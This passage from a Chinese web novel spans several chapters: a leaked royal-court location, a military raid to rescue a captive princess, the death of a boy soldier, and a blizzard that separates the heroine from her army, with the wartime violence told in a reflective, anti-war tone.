乌金色的剑身微微颤动,闪着微芒的光泽。
剑锋上,温度渐渐散去,凝聚起比冬风还要凛冽的寒意,像是足以劈开这世间万物。
饮血剑的煞,承郢的威,两者完美结合,叫这新剑通身嗡鸣不止,像是迫不及待要冲出去**一般。
霍阾玉握住剑柄,按老者所说,虽已不再重到拿不起来,但还是需要双手并用,尽全力才能挥动。
能得这样一把绝世好剑,霍阾玉打心眼里替云琛高兴,忍不住兴奋道:
“这下云琛一定能大杀四方!百战百胜!”
老者深深看着霍阾玉,后者正沉浸在这不应该的异样喜悦中。
再看一眼地上堆着一百多个人头铁箱,老者望向远方,凝重道:
“你有没有问过,云琛真的喜欢**吗?喜欢打仗吗?”
霍阾玉愣住,她从没想过这个问题。
那么勇敢无畏的云琛,令敌人闻风丧胆的女将军,她真的想当一个战无不胜的英雄吗?
老者道:“从战场上下来的将士,哪个不是一腔报国立功的热血去,满腹厌战和伤痛地回。赢了便是英雄,输了便是**魔头。二者皆取他人之性命如灭烛,有什么分别?”
这问题再一次将霍阾玉问住,老者见状便知,这姑娘只是刚刚踏入泥沼,还未堕落入不可挽回的境地。
也许是弥补遗憾,也或许不忍见一个纯白的灵魂坠入黑暗,老者语重心长道:
“天下混战,无太平之地。可就像楠国与洛疆,若深究起来,真想讲个是非对错,楠国不一定清白。洛疆如今几次三番挑衅,皆因前朝时,他们的公主远嫁我国却被人害死。
前朝军队以奉送灵体为名,趁机举兵进攻王庭,战斗的号角声响起后,王庭几乎被**殆尽,国王与王后双双自尽,洛疆血流成河几近覆灭。
此后十几年,洛疆都一直处在混战**中,民不聊生,何其艰难。你说,如今这仗,孰是孰非?”
霍阾玉惊讶得合不拢嘴。
她一直以为国之混战不过为争抢土地和财富,却不想洛疆和楠国有那么苦大仇深的过往。
如此看来,眼下狮威军北伐,竟是不占理的那一方。<
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br>“可仗又不得不打。”老者明白霍阾玉所想,继续道:
“若不打,遭殃的就是我们的百姓。所以哪怕知道过往又如何,云琛还是会提剑上阵,为了自己的国家和百姓去拼杀。
只是无论战胜与否,她都不会是赢家,功与过,对与错,只会在她的心里纠葛,直至将她撕得遍体鳞伤。”
老者拍拍离他最近的一个铁箱,叹口气,道:
“这里面是刽子手,也是老百姓。你知道这是谁的父亲,又是谁的儿子吗?你可知他是自愿上战场**,还是为命令所迫?你知道他生来就是****的魔鬼,还是这世道将他逼成这样,不是你死,就是我亡?”
听完老者的话,霍阾玉的眼前蓦然出现一幅画面。
她好像看见一个黑鳞骑兵的人头滚滚落地,一封薄薄的丧令跨越千山万水回到家乡,接过丧令的,是那痛哭的妻子和年幼的孩子。
她好像又看见一个黑鳞骑兵脱下黑鳞铠甲,他放下战刀,拿起锄头,笑着走向田地的远方。
这些画面从她眼前闪过,再落在铁箱上时,她只有从内心深处涌上的愧悔。
眼前是一百七十三个黑鳞骑兵的首级。
但她知道,一个都不是侵犯过她的人。
因为那些面孔连她自己都不认得,山寂又怎会知道,不过是随机杀一百七十三个黑鳞骑兵,给她泄愤罢了。
一瞬间,那从骨血里疯长出来的倔强杀意,顿时消散得无影无踪。
霍阾玉两腿一软,跪倒在铁箱面前,眼泪滴落在雪地上。
老者轻抚摸她的头,“孩子,我说这些,不是指责你,也不是说你有错。这天下谁人有错呢?”
他回望灯庙,苦笑着拍拍自己衣服上的尘土,幽幽道:
“他们都说我,守灯就守灯,何必要将自己弄那么苦?殊不知世人皆苦,苦恒有定数,我若多吃些苦,世人就能少吃一些苦,何乐而不为呢?”
说完这些,老者转身离去,可他的话却如当头一棒,将沉于仇恨的霍阾玉彻底惊醒。
她将铁箱子一个个抛下山崖,直至这灯庙前再次变得一片纯白。
她擦去眼泪,望向白雪皑皑的山峰,神情一点点重回宁静。
这时,一阵脚踏飞雪的声音簌簌向山腰奔来,一道血红色的身影跃出山崖,落定在霍阾玉面前。
山寂一身红衣挺拔而立,一手持着**无数的佩刀,另一手却拿着一枝开得热烈芳香的紫山茶花。
他动作自然地想将花簪在霍阾玉的头上,却发现她头发竟只剩齐下巴那么短,发丝被风吹得轻轻拂动,衬得她的脸庞如玉洁白。
山寂扯起嘴角轻笑,“错了,这颜色不配。”而后将花随意一扔,兴趣大盛地去拿一旁的新剑。
他扬剑劈空,潇洒利落地一连比画了十几招,才将剑放下,满意颔首:
“不错,好剑。”
霍阾玉没有去接他的话,而是直直地看着山寂:
“谢谢你。但抱歉,我不喜欢男人。”
山寂愣了一下,脑子想也没想地回道:
“巧了,我也是。”
说完,二人对视片刻,忍不住笑起来。
被女人这样拒绝,而且还是他这辈子第一个挺感兴趣的女人,山寂并没有挫败感,反而更加欣赏地看着霍阾玉,脸上是一抹顽邪又不羁的笑容:
“战场没意思,想去哪儿?我送你。”
想了想,霍阾玉眼神变得温柔。
“去她的故乡——幽州吧。”
第356章 忏悔
燃了一夜的篝火,终究在星空下熄灭。
往常多吉非要睡到太阳晒屁股不可,今日却莫名早早醒来,睁眼便看见云琛的榻上已空空如也。
羊皮毯子和枕头都叠放得很整齐,还有云琛的钱袋放在上面,但属于她的包裹已经不见。
多吉惊叫一声,将老阿奶推醒。
老阿奶捂着疼痛发闷的胸口坐起身,走过去打开钱袋一看,满满当当一袋金豆子。
很明显,云琛不辞而别了。这袋金子是留给老阿奶和多吉的。
老阿奶陷入沉思,心里慢慢生出一种不祥的预感,转而看到一旁的火盆。
里面是云琛走之前添的足足的柴火,这才使得今早起来一点都不冷,帐子里暖烘烘的。
不详的预感被暖意驱散,老阿奶将金子捂在胸口,将难过得撇嘴抹眼泪的多吉搂进怀里,安慰道:
“云是个好孩子,一定有他的理由,才要这样走。没关系,多吉,他不会忘记我们的。”
多吉没有说话,只是扑进老阿奶的怀里,小声哭起来。
只可惜,现实总要给抱有幻想的人们沉重一击。
五天后,在草原最寂静的黎明,当一抹耀眼的血红比朝阳先划过天空时,部落的人们从睡梦中被硝烟和战斗声惊醒。
人们睡眼惺忪地走出帐篷,互相搀扶着爬上矮坡,这才发现远处的草原上密密麻麻全是楠国兵,如雪洪将一处地方团团围住,不停地呐喊厮杀。
治安官惊呆了:“王庭被偷袭了!王庭被偷袭了!楠国人怎么知道王庭的?!”
其他人面面相觑,同样惊讶:“王庭在哪里?我们离王庭很近吗?怎么没有人说过?”
治安官紧紧瞪大眼睛,攥着拳头,“你们好好想想也知道!冬歇时候,各个部落都住在好草场,哪还有位置给我们?王庭只能将离他们最近的这处草场批给我们!”
人们发出阵阵惊呼,既感激王庭如此厚待他们,又忧惧王庭怎么会突然遇袭?
一番七嘴八舌的议论之后,人们通通将目光投向老阿奶和多吉。
云琛等四个楠国人不告而别之后,部落里都开始猜测他们的**和目的。
人们不想去污蔑救了整个部落的英雄云琛,但现在事实已然摆在眼前:
四个楠国人前脚刚离开部落,后脚王庭就遇袭。而收留并接触四个楠国人最多的,就只有老阿奶家。
治安官大步冲向老阿奶,吓得老阿奶往后躲。
多吉立马挺身挡在老阿奶面前,这才阻止了治安官的继续向前。
多吉张开细弱的胳膊,大声喊道:
“不会是云哥哥!你们不要胡说!也不要欺负我阿奶!”
听着远处厮杀如雷,治安官瞪着发红的眼睛:
“除了我!就只有你阿奶知道王庭在哪里!我也希望不是云兄弟!所以我要问问老阿奶!要一个确定的回答!”
老阿奶连连摇头,对天发誓她真的没有透露关于王庭的半个字。
就在人们互相安慰肯定是误会,老阿奶既然没有透露,云琛不可能知道王庭所在的时候,多吉突然整个人开始发抖。
他眼睛睁得极大,满眼都是恐惧,喃喃吐出三个字:
“生米地。”
这三个字,多吉是用楠国语说出来的,旁人听不懂,老阿奶却愣住了,一把抓住多吉的肩膀,厉声问:
“你怎么知道这个?谁告诉你的?!”
从来都是被老阿奶捧在手心疼爱,多吉第一次见老阿奶这么严厉,不由避开老阿奶的眼神,小声道:
“我听到你说梦话了,
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就......就告诉云哥哥了。”
老阿奶听罢,两眼一黑,几乎要晕倒。
多吉和治安官赶紧将人扶住。治安官急问:
“老阿奶,‘生米地’是什么?什么意思?”
多吉不能很准确地将洛疆话翻译成楠国语,因此只能说出“生米地”三个字。
可对云琛这等聪慧之人来说,解谜实在易如反掌。
生米地。
能生长出大米的地方,便是小稻田。
北方苦寒,少有丰饶黑土,几乎没有种粮食的地方。
但云琛等人来前,早已将洛疆地图熟记于心。
他们知道整个草原唯有一处地势较低,草稀而土厚,是几十年前洛疆人尝试种稻子的地方。
生米地,意思是王庭就在离小稻田不远的地方。
三个字而已,对云琛四人的本事来说,打探并偷袭王庭已经极其足够。
多吉终于意识到自己闯了什么弥天大祸,为族人带来了什么灭顶之灾。
他傻愣愣地站在原地,任由治安官揪着他的领子大声咒骂,脑海中只有云琛策马冲向大火和雪山,为了救他和部落的人们,连头都不回一下的样子。
他不明白,为什么会是云琛呢?
怎么可能是云琛呢?
就在多吉沉浸在这些他怎么都想不通的问题时,突然,治安官一声大吼,放开了扯着多吉领子的手。
多吉跌倒在地上,仿佛世间一切都被放慢。
他恍惚看见人群骚乱起来,一阵激烈的吵闹过后,所有人都用那种全世界最冰冷责怪的眼神看向他。
多吉腿软得站不起来,他奋力爬向老阿奶,想磕头认错,想对老阿奶说对不起。
可惜老阿奶已捂着胸口,永远闭上眼睛,再也听不见少年的忏悔了。
第357章 偷袭王庭
楠国三十三年一月十六,狮威军踏过小稻田,偷袭洛疆王庭。
十九万狮威军,一百万洛疆雄兵。
原本毫无胜算的悬殊之局,却因狮威军知晓王庭所在,占据先机,由霍乾念排兵布阵,直捣黄龙,兵法如神之下接连取胜。
霍乾念看准洛疆才刚建立汗国,周边被吞并的小国们并不稳固服从,也不十分想贡献兵力的契机,一面命人潜入周边小国游说策反,一面出兵切断王庭左右要塞。
除去周边小国兵力,王庭瞬间被削弱孤立为六十万兵力,但仍是狮威军难以强攻的对手。
因而,霍乾念再次采用声东击西之法,率狮威军主力正面强攻洛疆主力,另命云琛领三万精锐骑兵快袭王庭侧翼。
此举果然引得洛疆兵力分散。
这一方,霍乾念如何携主力进攻,将士们如何以一当十,面对重装披甲如铁塔的高壮洛疆兵,其艰险困苦暂且不说。
那一边,云琛凭借装备轻巧、行动快速的优势,三进三出偷袭王庭,惹得洛疆王勃然大怒。
一进王庭,云琛等调虎离山,引洛疆兵出城追击,荣易等立即攻破俘虏营,解救北伐军被俘将士七万有余;
二进王庭,洛疆兵誓死守城,做好了绝不再上当追击的准备,云琛等却从外围火烧王庭,逼得洛疆兵不得不出城灭火,云琛趁机再破俘虏营,又营救北伐将士两万有余;
三进王庭,洛疆王已经气疯了,直接派出二十万人马,重兵追击云琛方面,下命哪怕追击到天涯海角,也活要见人,死要见尸。
二十万洛疆兵在雪原上狂追不止,云琛且战且行,时而诱敌深入,时而伏击,七场小规模交手,两场正面闪电战,最后还带着洛疆兵在草原上兜圈喝了好几天风。
一顿操作下来,共计解救近十万北伐军俘虏不说,还重创洛疆六万人马。
在此期间,不言则领五十名死士潜入王庭,到处寻找南璃君的踪迹。
只可惜几乎将王庭翻遍,也没有寻到半点南璃君的影子。
在寻找过程中,不言发现王庭里的人好像根本没听过南璃君这个名字。
他将这消息一回报,云琛觉得非常蹊跷。
南璃君是楠国储君,以其身份和地位,就算洛疆人不以礼相待,也不至于悄悄关押起来不认账吧?
要知道以南璃君来挟制楠国,可比打仗要容易得多。
云琛开始怀疑南璃君也许不在王庭,或者根本没有被洛疆王俘虏,而是落在了别人手里。
她决定亲自潜入王庭一趟,但在这之前,她必须要和霍乾念商量一番。
于是,云琛甩掉洛疆兵后,率骑兵回营,正逢霍乾念带着狮威军主力与洛疆战罢一场回来。
两人各自收兵休整后,在主帐里碰头商议。
听了云琛的提议,霍乾念想都没想就拒绝:
“不行!你不许去!”
云琛无奈:“理由呢?太危险?打仗哪有不危险的,难不成我在后方煮饭就安全了?这一路来什么危险没遇过,从前你不是这样的,阿念。”
霍乾念的表情没有任何商量的余地。
“我说不许就不许!现在我是你上级,你必须服从命令,这个理由行不行?”
这是他第一次用级别来压云琛,在她看来着实可气,但旁边的叶峮和不言却看得明白。
除了用级别压制,霍乾念已无计可施。
作为主将,他怎会不知战场危险。
云琛这员大将机敏、忠诚、武功高强、勇敢无畏,是他手中最锐利的王牌,是深入王庭寻找南璃君的最佳人选。
可自那场雪崩,切切实实体会过一次失去云琛的滋味后。
他实在太害怕了。
若是战场并肩作战,他尚有余力分神看顾她,只要能看见云琛还活着,还在奋力厮杀,他就觉得安心。
一旦云琛脱离他的视线,他就有一种要与她永远分别的恐慌。
生怕两人又吵起来,叶峮和不言赶忙打圆场。
不言眼尖地瞧见主帐外走过去几个人,赶忙招呼:
“喂!北伐军的!你们几个进来说话!”
在不言的生拉硬拽下,几个北伐军将士被拽进帐篷。
如今解救下来的俘虏、四处逃亡许久后赶来投奔的将士,近十万北伐军加入了狮威军,随处都能看见陌生的脸孔在营地走动。
不言眼睛忒好使,一眼就认出他看草场时放走的那几个人,又气又笑地将几人推到霍乾念面前,笑道:
“我给老查布看草场的时候,遇见的就是这几个家伙。”说着不言将话锋转向几人:
“你们真行,前脚我给你们放走,后脚你们在林子里生火,差点把我屁股烧穿!你们得赔我的裤子,两条!”
这一话题果然打断了霍乾念和云琛的争执。
霍乾念走回桌前看文书,看样子并不想理会,云琛则上前拍拍几个北伐将士的肩膀,安慰道:
“别听不言瞎扯,不怪你们,再说火我也扑灭了。”
几个北伐将士一听,立马眼睛瞪得溜圆,上下打量云琛,惊问:
“云将军,就是你引雪崩灭的火?”
“对,是我。”云琛说。
几个北伐将士你看看我,我看看你,脸上赤橙黄绿青蓝紫地纠结了好一阵,最后对云琛竖起大拇指,艰难开口:
“云将军,你真厉害,着实勇猛……非常人可比!”
云琛被逗得大笑
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,正要再问,段捷却大步从外面走进来,先是给几个北伐将士头上一人一巴掌,而后几脚将人踹出帐篷,嘴里骂道:
“几个不受冻的家伙,怕冷生火取暖,也不看看冬天林子里多少枯叶枯木!滚!刷马去!”
将几个将士赶走,段捷赶忙对云琛行礼道:
“请云将军受在下一拜。一为那几个糊涂小子引起大火,竟要云将军冒险救火;二为多谢云将军从俘虏营救下我们,此等大恩,舍身难报!”
云琛赶紧还礼,先夸一通段捷福大命大活了下来,而后笑说:
“你什么时候跟我这么客套了?”
段捷揶揄地看了霍乾念一眼,肩膀靠近云琛,故意用说坏话的语气道:
“不行,我若不客套点,好好谢你,只怕你家老霍要扒掉我一层皮。”
“老霍”?这词新鲜,云琛忍不住笑出声。
再看霍乾念的表情已缓和许多,她琢磨着拉拢段捷为自己游说,便将要潜入王庭寻公主的事情说与段捷。
段捷听后,略思忖,道:
“在你们来之前,我们已与洛疆交手多次。据我所知,当今的洛疆,明面上地广兵强,实际上内斗得很厉害,有个叫‘头曼’的王爷一直觊觎洛疆王位,是个不好对付的家伙,洛疆王对他很忌惮。我们是在最后一战中被偷袭了后方,导致公主和几十个侍卫、宫女失踪,当时来袭的就是头曼王爷。”
只略一听局势,云琛就立马明白段捷的猜测:
“这么说来,公主如果不在洛疆王的手中,就最有可能在头曼王爷手里,他很可能将公主藏匿起来,计划与我们谈和也罢,威胁洛疆王也好,亦或是别的阴谋,只要有公主在手,他干什么都胜算极大。”
除了头曼王爷,众人再也想不出第二个南璃君可能被困的地方。
那该怎么营救呢?这成了接下来最头疼的问题。
起初以为南璃君被关在王庭,所以云琛搞了个三进三出偷袭王庭,为不言他们争取搜寻的机会,也惹得洛疆王大怒。
如今王庭周围戒备极度森严,再想偷袭已是不可能。
所有人都将目光投向霍乾念,可他却静静地垂眸坐着,迟迟不下令。
这时,段捷开口提醒:
“对了,颜将军也和公主一起失踪了。”
听到这个名字,霍乾念的眉头动了一下,冷冷道:
“由他去,不必理会。”
短短七个字而已,其中滋味却耐人寻味。
云琛只当是霍乾念不喜欢颜十九,由他被俘虏的意思,好笑地瞧了霍乾念一眼,而后拍拍手,握住手中无义血卫送来的新剑,道:
“走,去寻公主和‘驸马爷’吧!”
第358章 琛儿,不要食言
狮威军与北伐军重新整编融合,近三十万人马整顿完毕,列满王庭外。
几次偷袭、调虎离山、声东击西之后,洛疆人已经非常警惕,再难上当。
所以这一次,只能硬碰硬。
正面出击,力求最大程度将所有洛疆兵吸引出来,最好是引得他们倾巢出动。
如此,云琛、不言和一**士才有机会潜入王庭里的头曼王爷府,找寻南璃君的踪迹。
因此,霍乾念一令全军大张旗鼓出动,将战鼓擂得冲天巨响,全军将士呐喊声破天如雷,但只动嗓子不动手;
二则,他略施小计,玩了个颇有意思的小心眼:
趁如今洛疆还没摸清楠国到底有多少兵力的时候,他命队伍后方的人马不停来回跑动,装出一种人马源源不断汇合赶来的样子。
你别说,这一招还真将洛疆兵唬住了。
众人在王庭城门上乍然一看,只见楠国兵列满城前,如野草密集,后面还有源源不断的人在补上来。
洛疆王大惊失色,赶忙命全军列阵迎敌。
而王庭城下,霍乾念也不急着进攻,他就是要给洛疆集结所有兵力的时间。
趁这会儿空档,霍乾念拉着云琛,一遍遍帮她束好护臂和腰带,一遍遍嘱咐:
“琛儿,你已很有经验了,那便记得我的话,公主为楠国之重,可在我心里,只有你最重。若遇抉择性危险,切记,保自己!”
云琛赶紧捂住他的嘴,紧张地左右张望:
“你疯啦?咱们千里迢迢来这就是为了救公主,你怎么敢当这么多人面说这话!若将来传进公主耳朵里,定要治罪的!”
皇权当道,储君性命大于一切,这对所有人来说都是极自然的道理。
霍乾念却根本不管这些,他偏头躲开云琛的手,用力抱住她的肩膀,语气更加坚决,严肃道:
“琛儿,我要你现在答应我!若遇危险抉择,先保你自己!答应我!”
云琛被他这话吓得慌乱,恨不能将袜子脱下来塞他嘴里。
好在左右不过是叶峮、不言和荣易等亲信,多了个段捷,也是一脸见怪不怪的样子,好像根本不为听到这话惊奇。
云琛只得连连点头答应:
“好好好,我保证我保证!”
“你发誓!”
“……”
“我要你发誓!”
“行行行,我发誓我发誓,哥,饶了我吧,好多人看着呢,我丢不起这人……”
在周围亲信们的哄笑中,霍乾念终于放开云琛。
她红着脸翻上马背,身旁不言笑得贱兮兮:“发完誓了?”
她一个白眼过去:“滚!”
另一边,叶峮倾身过来笑道:
“阿琛,你就发吧,你不发,少主心不安,打起仗来也危险呐!”
“就是就是!俺也觉得!”罗东**然冒出来凑热闹,目光落在云琛的新佩剑上,不禁啧啧惊叹:
“老大!你的新剑看起来太酷了!叫什么名字?”
佩刀佩剑是兄弟,人人都给自己的“兄弟”取了名。
云琛才拿到剑几日而已,还没
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琢磨出名字来。
罗东东转动没有一点墨水的空白脑袋,建议道:
“叫‘杀你没商量’怎么样?”
不言掏了掏耳屎,一点都听不下去的样子:
“那打架的时候怎么说?‘你好,我想跟你商量一下,用我的‘杀你没商量’和你商量商量人生大事’?要么‘你好,在下云琛,这是‘杀你没商量’,不,我的意思是剑叫‘杀你没商量’,不是我要杀你的意思’?”
不言噼里啪啦说了一大堆,周围人全都笑得前仰后合。
罗东东臊得脸红,不服气道:“那你说个响亮的名字听听!”
不言砸吧砸吧嘴:
“叫‘恶龙咆哮’咋样?”
叶峮二话不说,抬手就是一巴掌:
“都他娘说了让你少看点话本!”
在嘻嘻哈哈的说笑声中,战斗的号角响起,所有人瞬间收敛笑容,神情变得肃穆。
霍乾念回头看了云琛一眼,她和所有人一样,已蓄势待发,做好了冲锋的准备。
她的身体张得像满弓,微微俯身待冲的姿势像极了一头准备进攻的猛虎,气势汹汹,实非常人可比。
她一眼都没有看霍乾念,全部注意力都在即将到来的大战上。
霍乾念心里有点酸,更多的是对未来的恐惧和迷茫。
他不停地在心里对自己说:
要相信琛儿,她是最勇敢的将士,别让你的担忧成为对她的轻视和枷锁。
去吧,琛儿,你发过誓,重情义和承诺如你,这次一定不会食言。
第359章 狗吠
对于天空降落的雪花来说,楠国也好,洛疆也罢,没有什么区别。
雪花平等地落在每一个人的脸上,同样温柔地拭去每个人脸上的血污。
它们不懂,为什么每个人的表情都那么狰狞,看起来凶恶无比。
为什么每个人都要将最丑陋的一面展示出来,却要说这是英雄气概?
人们厮杀混战在一起,杀得难解难分。
楠国将士们明知这是一场不可能胜利的战役,是一次用千人万人去营救一个人的最不合算的买卖,却还是拼命朝前杀去,按计划为云琛和不言打开一条小路。
瞅准王庭的方向,云琛快速挥剑。
连日磨合以来,云琛已将新剑挥得无比爽快,凡挥剑之处,必有一个洛疆人被砍成两半。
她努力向王庭奔去,可周围人太多,场面实在太拥挤,每前进一步都很困难。
好在洛疆兵与楠国兵的服装、体型差异巨大,她不需要费力辨认,几乎不用思考就能挥剑。
因此,当一个无比愤怒的嘶吼声冲她杀来时,余光扫到那高壮的身影,她想都没想,抬手就是一剑。
等她反应过来的时候,蒙克的人头已与身体分离,在空中划出坠落的弧线。
云琛保持着挥剑后的动作,一脸错愕,望着蒙克的无头尸体从马背上坠落。
她完全没料到蒙克会出现在这里。
也没料到当自己终于为那北伐逃亡将士报仇,干脆利索地杀了蒙克时,她竟没有一丝痛快和喜悦。
她第一次在这血海拼杀的战场上愣住。
直到一声少年撕心裂肺的哭号将她唤醒:
“啊——啊——”
云琛愣愣朝前看去,多吉穿着不合身的铠甲,举着一把比他整个人还高的长矛,哭喊着,切齿着,满眼恨意却又泪流满面地瞪着她,朝她发出凄厉的嚎叫。
显然,多吉是在蒙克的庇护下,才一路杀到这里。
尽管云琛和霍乾念在进攻王庭时,总是刻意避开部落草场的位置。
但这场引得洛疆倾巢出动的战斗,还是将周围所有临近部落的人们都号召了起来。
“多吉......”云琛喃喃开口,然后立刻反应过来眼下是何等危险的境地,着急大喊:
“多吉!离开这!危险!离开这!!”
多吉也许听懂了,也许没听懂。
他只将长矛高高举起,锋利的枪头对准云琛,接着用力驾马,朝云琛冲了过去。
十三岁的多吉并不知道,云琛这等大将在战场上,一直都有上百亲兵从旁边战边护。
一旦有人专门瞄准云琛而来,还未靠近就会被斩杀。
云琛阻止不了多吉,只能朝周围的亲兵大吼:
“别动手!别动手!”
可太简单的一句话,亲兵们根本不明白云琛指的是谁。
当多吉的小马冲到离云琛还有几十丈的地方时;
当多吉准备用尽全力将长矛投掷出去时。
一道身影从多吉面前飞窜而过。
寒冷的刀锋轻轻一闪,多吉瞬间身首异处,小小的头颅在空中飞扬起,就像小羊的羊毛那么轻。
荣易杀完,立刻勒马回到云琛身边,一边抵挡四周进攻的洛疆兵,一边不解地冲云琛大喊:
“老大!醒一醒!这是打仗啊!别愣神!快冲啊!”
荣易不认识多吉,只是奇怪云琛怎么会对着一个小小少年发愣,还以为是云琛太过心善,对少年下不去手的缘故,浑然不见云琛如何睁着血红的眼睛,脸色苍白得像鬼一样。
战场从不给人一丝一毫悲伤的时间,在荣易的反复推搡下,云琛终于想起自己身负的使命,继续边杀边冲。
她想要再看多吉一眼,却终究不敢回头。
在一队骑兵的掩护下,她与不言弃马混入步兵,边跑边快速套上洛疆兵的铠甲,终于趁乱混进王庭。
不言先前已潜入过王庭三次,对城内地形相当熟悉。
二人快速朝头曼王爷的府邸摸去。
不言注意到云琛神色异样,低声问:
“阿琛,怎么了?你脸色很不好。”
云琛摇摇头,嘴唇微微颤抖,“多吉**。”
不言愣了一下,脸色一阵青白,却又很快恢复如常。
他望向前路,不知是在安慰云琛,还是安慰他自己。
“这我们勤王救驾一定要付出的代价,为了我们的储君,楠国的未来和希望,阿琛,我们只能这样。”
云琛没有回答。
原本她与不言是一样的,可不知从什么时候开始,她的心已悄悄动摇,不再如磐石那样坚
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定。
她真的开始感到厌倦了……
这天,这地,这国这君。
这好像永无止境的战争,真的让她好倦好倦……
可她已无从选择,无法停下。
因为那千千万万的楠国百姓,还翘首盼望着胜利的转机。
……
……
一路再无多话。
二人一路轻功疾行,很快靠近头曼王爷府。
如今整个王庭的兵马几乎都在外迎战,唯有王爷府还戒备森严。
见此情景,二人对视一眼,都在对方的眼里看到希望:
公主肯定在这里!
不敢耽误时间,云琛立刻按计划吸引王府兵力追击,不言则趁机凭绝好的暗卫身手潜入王庭。
不言率先冲到客房,搜寻一番,内外空无一人。
他暗骂自己一句“蠢!公主那么尊贵!头曼王爷肯定会安排在离他最近的地方看管啊!”然后又冲向王爷寝屋,可依旧一无所获。
找了一圈下来,不言的心凉了半截。
但他还是舍不得放弃,再次潜入下人住的房子、柴房、厨房、茅房……
他一一寻过所有地方,最后来到一个臭气熏天的狗圈。
目光从十几条流着涎水、趴胯在地的公狗身上掠过,不言正欲转身要走,余光却定格在狗圈角落里,一个蓬头垢面的身影上。
不言呆站在原地,无比震惊地望向那沾满泥污的斑斑雪白。
足足愣了好一会儿,他才身子猛然一抖,迅速抬腿跳进狗圈,差点被那低矮的围栏绊个跟头。
狗群呲牙狂吠地朝他冲去,三两下就被拧断喉咙。
世界突然变得无比安静。
再也没有永无止境的狗吠,没有万虫噬骨般的痛苦和**。
南璃君将伤痕累累的脸抬起来,怔怔地看着眼前略微熟悉的男人,痴呆一般地自言自语:
“真好啊……终于没有狗了……”
不言紧紧抿着嘴,低下头不忍去看,狠狠拽下身上的铠甲和外衣,披裹在南璃君的身上。
他将自己的靴子脱下来,单膝跪地,拖住南璃君冰凉青紫、纤细到不堪一握的脚踝,轻轻为她穿上。
他将南璃君抱起,不敢去看她,只用最坚定的声音说道:
“公主,别怕!我带你离开!”
第360章 云团
另一边,靠近头曼王府后,云琛引着王府士兵们到处兜圈子。
但顾及照应不言,她始终不敢离王府太远。
当听到王府内狗吠声大作,继而变成哀鸣,她立马脸色一变,掉头就往王府冲。
士兵们在听到狗吠声之后,明显比她反应还大,跑得比她还着急。
很快,她迎面看见不言抱着南璃君杀出王府,十几个王府追兵从后追着他。
她连忙杀到不言身边,护着他边战边行,目光落到他怀里的南璃君时,她登时头皮一麻,接着立刻移开目光,不敢再去看。
这是他们楠国的储君啊!
就算不是敌国的座上宾!但何至于此?!
云琛感觉比自己受到侮辱还要气愤,将剑杀得更加勇猛。
两人护着南璃君一路奔逃,向预定的城侧飞奔而去。
按照原计划,荣易会带马在那里接应他们。
可惜计划永远赶不上变化,原本定好的两军厮杀,为他们营救公主争取时间,这会竟莫名其妙地鸣金收兵了。
洛疆兵们全在急急撤兵回城,楠国兵也在迅速离开王庭,仿佛有什么恐怖的东西正在朝这里而来,逼得两国不得不停战躲避。
云琛不知发生了什么事,急忙跃上一处屋檐查看。
只见不远处的天空中,一片巨大的灰白云团正在以惊人的速度向王庭靠近。
那云团比整个王庭还要庞大,像是一口能吞噬掉所有城池与人群。
楠国将士们几乎没来过草原,没见过这种天象巨变,也不知道将面临什么样的可怕境地,只是看见洛疆将士们突然说什么也不打了,开始没命地往回逃,也本能觉得恐惧后退。
双方人马都在撤退,这是云琛和不言始料未及的。
好似老天爷也看不下去这场杀斗,只能用这种方式叫战争停息。
云琛曾经见识过海上的暴风团,知道现在天上这玩意儿不会是什么好东西。
她和不言将步子迈得更急更快,迎面遇上所有洛疆兵都在回城回营。
她与不言这两个在屋檐行走跳跃的身影极其惹人注目,立马引来不少箭矢攻击,只不过射得很敷衍,没几下就停了。
她边跑边望去,那些射箭的士兵弓箭还在手里呢,人已经被其他人急急拉进屋。
眨眼之间,满城所有人都躲进房屋,闭门闭窗,街面上干干净净,连一个人影都没有,霎时变成一座空城似的。
“真他娘邪门!”
这情景让云琛头皮一阵阵发麻,望了眼越来越靠近的云团,忍不住骂了句脏话。
但好处是,此刻已没有任何一个人出来追击或阻拦。
云琛与不言护着南璃君翻越城墙,四周连个守城门的将士都没有。
楠国将士已撤退得几乎看不见队伍身影,只剩荣易和几个亲兵还留在预定地点等待接应,但他们座下的马儿也已经极度不安,不停地在原地打转。
两方快速汇合。在看到不言怀里的南璃君时,荣易他们和云琛一样,第一眼先是震惊,而后赶紧转头避开。
云琛跳上水中龙的脊背,心里略略踏实些,见所有马都在惊慌失措,只有水中龙的反应还算淡定,她拍拍马背,说了声:
“狗小六,好样的!”
来不及再多说,一股前所未有的寒风已夹杂
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着急雪尖啸而来,空气骤然变得异常寒冷,所有人立即向狮威大军撤离的方向奔去。
风越来越急,吹得马儿都开始跑偏。
雪越来越大,最前面的荣易已几乎看不清前路,只能瞧见一点点大军队伍末尾的影子,全凭直觉向前狂奔。
虽然云团还有一定的距离,但众人已开始隐隐明白,洛疆人为什么那么惊慌了。
眼前不过云团边缘带来的风雪而已,就已经这么冷这么急。
尤其是疾风吹起来的白毛雪,让视线变得极差,连三丈外都看不清。
若在这种天气下打仗,双方没有输赢,全是个死。
想到这里,众人赶紧将马驾得更快更急。
突然,最前面的荣易喊了句什么。
但风声太大,末尾殿后的云琛没听清,只模糊看见一个骑马的黑影迎面而来,身形好像有点像霍乾念?
荣易回头,看了一眼紧紧缩在不言怀里的南璃君。
大概没有认出来人,荣易竟扬起刀背挡了一下,阻止了来人的步伐。
与此同时,暴风追上众人的脚步,率先将队伍最末尾的水中龙掀翻,连带着将云琛裹进风团,消失在一片白茫茫。
等荣易和霍乾念撞在一起,霍乾念大吼着让他滚开时,四周只剩越来越猛的狂风和暴雪,云琛已完全不见踪影。
霍乾念推开荣易,还要往前冲,可荣易此时已彻底反应过来,霍乾念是来找云琛的,不是来杀南璃君的。
荣易瞬间悔恨得想要咬舌自尽。
他不能看着霍乾念送死,赶紧和几个亲兵连拖带拽,借着暴风压制的力量,将霍乾念拖逃而去。
第361章 狗小六
另一边,云琛被卷进暴风雪。
她不知打了多少滚,摔了多少个跟头,在冰冷的雪地上滑行了多远。
她感觉自己浅浅晕了一下,再醒来时,已不知身在何方,云团已彻底来到头顶。
她试图站起身,但刚爬起半个身子,就立马被狂风掀翻在地,吹得在地上滑出去好几丈,一直撞在同样倒地的水中龙身上才停住。
眼前白茫茫一片,风吹雪阻挡住一切视线,叫她几乎连眼睛都睁不开,只能用手去摸水中龙的身子,确认它是否还安好。
“狗......”她刚张口说出一个字,风就像拳头似的往喉咙里捅,令她根本喘不上气。
